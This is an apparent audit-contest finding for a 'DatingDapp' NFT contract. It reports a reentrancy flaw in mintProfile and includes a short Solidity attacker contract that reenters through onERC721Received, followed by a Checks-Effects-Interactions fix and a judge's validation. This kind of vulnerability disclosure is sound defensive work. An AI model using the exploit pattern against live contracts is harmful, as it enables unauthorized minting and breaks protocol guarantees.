DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

 Reentrancy in `mintProfile` in SoulboundProfileNFT Contract

Reentrancy in mintProfile in SoulboundProfileNFT Contract

Description:

The mintProfile function calls _safeMint(msg.sender, tokenId), which in turn triggers an external call to onERC721Received. if the recipient is a malicious smart contract, it can execute a reentrant call before _profiles[tokenId] and profileToToken[msg.sender] are updated.

Impact:

An attacker can repeatedly reenter mintProfile, allowing them to mint multiple NFTs before the mapping profileToToken[msg.sender] is updated, violating the assumption that each address can have only one profile.

Proof of Concept (Exploit Code):

A malicious contract could look like this:

contract ReentrantAttacker {
SoulboundProfileNFT target;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
}
function attack(string memory name, uint8 age, string memory profileImage) external {
target.mintProfile(name, age, profileImage);
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
if (address(target).balance > 0) {
target.mintProfile("Reentered", 99, "ipfs://attack");
}
return this.onERC721Received.selector;
}
}

Recommended Mitigation:

Use the Checks-Effects-Interactions pattern by updating state variables before calling _safeMint:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
// Update state before external call
profileToToken[msg.sender] = tokenId;
_profiles[tokenId] = Profile(name, age, profileImage);
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.